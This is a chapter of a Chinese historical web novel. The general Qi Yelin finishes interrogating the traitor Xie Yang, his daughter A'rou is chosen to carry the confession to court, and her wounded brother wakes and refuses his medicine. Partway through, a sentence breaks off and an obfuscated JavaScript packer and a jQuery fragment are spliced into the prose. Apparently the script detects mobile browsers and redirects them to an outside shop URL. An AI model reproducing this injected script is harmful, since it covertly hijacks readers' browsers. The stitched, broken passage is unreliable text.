“……沒有了,我能說的都說過了。”
戚葉臨轉頭問一旁記錄的文官,“方才他所說的話,都完完整整記下了吧?”
那文官躬身說道:“都已記下了。”
戚葉臨站起身來,轉身就要帶著阿柔往外去。謝陽見狀,想要奮力撲撞上來,卻被兩邊的守衛按下。
他看著二人逐漸遠去的背影,急切地喊道:“我已經把我知道的全都告訴你了,你該信守承諾了吧?”
戚葉臨腳步一頓,回過頭去,“承諾?什麼承諾?”
“你!”
“我是說過,你提供的消息可以免除一部分苦難。但……”戚葉臨神情幽暗,語調森寒,“你該不會真的以為,這樣就能還清你欠下的債了吧?”
“不,戚葉臨,你不能這樣,你不能這樣!”謝陽妄圖追上去,牢門卻已在他眼前無情地關閉。他抓著鐵欄杆,淒厲地叫喊著:“你動用私刑,有違大昭律法。聖上本就忌憚你們戚家,彆忘了,你的兒子還在京城為質!”
戚葉臨乜視而去,冷嘲熱諷道:“拜你和林予哲所賜,聖上已是自顧不暇了,又怎麼會在意一個犯下謀逆重罪的節度使是怎麼死的呢?”
“不,不!!!你可是世人稱頌的景西王,旁人都說你忠君愛國、公正無私,你不能動用私刑!”
戚葉臨隻覺得他聒噪,不再理會,帶著阿柔大步往地牢出口的亮光而去,獨留謝陽喑啞扭曲的叫喊在不見天日的地牢之中久久徘徊。
……
關於林予哲身邊還有一個神秘軍師這件事,的確在阿柔的意料之外。但要說這是多麼影響占據的一條情報,倒也未必。畢竟將領身邊帶有軍師或幕僚,都是很常見的事。他們所要麵臨的最主要的敵人仍是林予哲,而不是那所謂的小軍師。
但如若林予哲身邊當真有這麼一號人物,兩軍交戰之時,還是要小心提防著些才好。若是能找到機會將這個智囊一舉擊破,那是再好不過的一件事。
雲洛的存在,還
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992954|130824||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
是有必要上報朝廷的。
隻是眼下,西北鐵騎還屬於休整狀態。收編歸降敵兵,重建西北大營,鞏固邊境防線,穩定宛陽人心……這些都是刻不容緩的事。況且西北剛曆經了一場內戰,哈赤努爾不可能放過這麼好的機會,必定會趁著西北鐵騎元氣大傷之時進犯,打他們一個措手不及。
也許今天,也許明天,西北邊境必須隨時做好應戰的準備。雖說攘外必先安內,但戚葉臨也不可能放下邊陲百姓生死不管。
至於謝陽,戚葉臨不打算送回朝廷發落。倒不完全是為了發泄報複,更重要的原因是,西北邊境如今分不出人手來押送重犯,距離長祈路途又遠,唯恐路上生再出什麼變故來。反正他通敵叛國、意圖謀反已是板上釘釘的事實,該交代的也都交代了,沒有再冒著風險把他送去京城的必要。
戚葉臨需要一個可信的人,將謝陽的口供以及西北邊境所發生的一切都儘數帶回朝廷。這個人必須知根知底,知曉此番動亂的全過程,又懂分寸,知道什麼該說,什麼不該說。而這個人的離開,又不能對西北邊防產生太大的影響。
思來想去,最合適的人選竟隻有她的女兒戚雪柔。
……
接連見證了西北大營所遭遇的一係列變故,以及謝陽和林予哲等人的陰謀之後,阿柔總算迎來了一個好消息——大哥醒了。
得知此事的時候,阿柔正和司言一起,尋訪宛陽城中百姓,送些糧草物資補貼,並進行安撫慰問。
待到戚葉臨交代的任務完成之時,二人立刻趕回了故淵門據點。
進了門,就看到戚思辰靠坐在床頭,正皺著眉頭和鴉青說著什麼。
鴉青將手中黑乎乎的藥碗遞了過去,“喝藥!”
戚思辰微微偏過頭去,眼神往彆處瞟。
“我怕不是救了個假的世子爺吧。”鴉青簡直要懷疑人生了,恰好此時見到阿柔和司言,頓時如見救星一般喊道,“阿柔,你看你哥,他不喝藥!”
戚思辰聽到這話,回過頭來,順著鴉青的視線望去,果真見到阿柔來了。
等會兒,阿柔身旁怎麼還站了個人?好像有點眼熟……
戚思辰剛醒來沒多久,腦中還有些渾沌,在記憶中費勁搜索了片刻,終於想起來了。
這不就是定州疫病那一次,在營帳裡和他妹妹眉來眼去的那個男的嗎!
思及此處,戚思辰目光變得不善起來。
司言:怎麼感覺不太對勁……
阿柔對二人間的眼神交鋒毫無知覺,坐在床邊,看著眼前這個生動而熟悉的大哥,而不是躺在床上死氣沉沉的樣子,她有一些想哭的衝動,“大哥,你終於醒了,你嚇死我了。”
戚思辰沒再同司言暗暗較勁,看到幼妹泛紅的眼眶,隻覺得手足無措,儘力安慰道:“我,我這不是醒了嗎,嗯?”
自大哥為他擋下一劍,昏迷不醒的那日起,阿柔每每想起此事,總是愧疚萬分。倘若大哥真的有什麼三長兩短,她恐怕這輩子都不能原諒自己。
阿柔心中一陣陣後怕,“大哥,往後不許再這樣衝動了。”
“衝動?”戚思辰想了想,明白了她是在說那日擋劍的事。
也許作為將領來說,他為私情而不顧自身安危,的確算得上衝動。若因他自陷險境的舉動導致西北大營無人主持,釀成不好的結果,他是無論如何也償還不起的。
可作為家人,作為長兄……
戚思辰搖了搖頭,低聲說道:“那不是衝動。”
那是本能。
阿柔大抵能猜到大哥心裡的想法,也不再多說什麼,隻是微笑著說道:“我知道了。”
戚思辰有些不好意思地收回了視線,“嗯……”
“喂……”鴉青終於忍不住了,不由分說地把藥碗塞進阿柔的懷裡,“阿柔,你快管管你哥,我都把藥端來了,他就是不喝。我還有事要忙呢,你想辦法給他灌啊。”
一口氣說完,鴉青便風風火火地離開了。
若是放在從前,有人要對阿柔說“管管你哥”這種話,阿柔可是萬萬不敢的。
但現在……
阿柔露出了然的神情,見大哥不動聲色地往床榻裡麵挪了挪,頭也朝著裡側扭,她不禁覺得有些好笑,“大哥,轉過來吧,脖子不疼嗎?”
戚思辰:“……”
司言在一旁看得津津有味。
阿柔偷偷笑了一下,繼而裝模作樣地道:“大哥,你想想二哥,二哥他……”
“你彆說了……”戚思辰打斷了她將要說的話,依舊倔強地不肯將頭轉回來,隻是伸出一隻手接過藥碗,將苦澀的湯藥一飲而儘。
戚思辰在心裡默默道:可惡,被這丫頭抓住把柄了,再也不受傷了。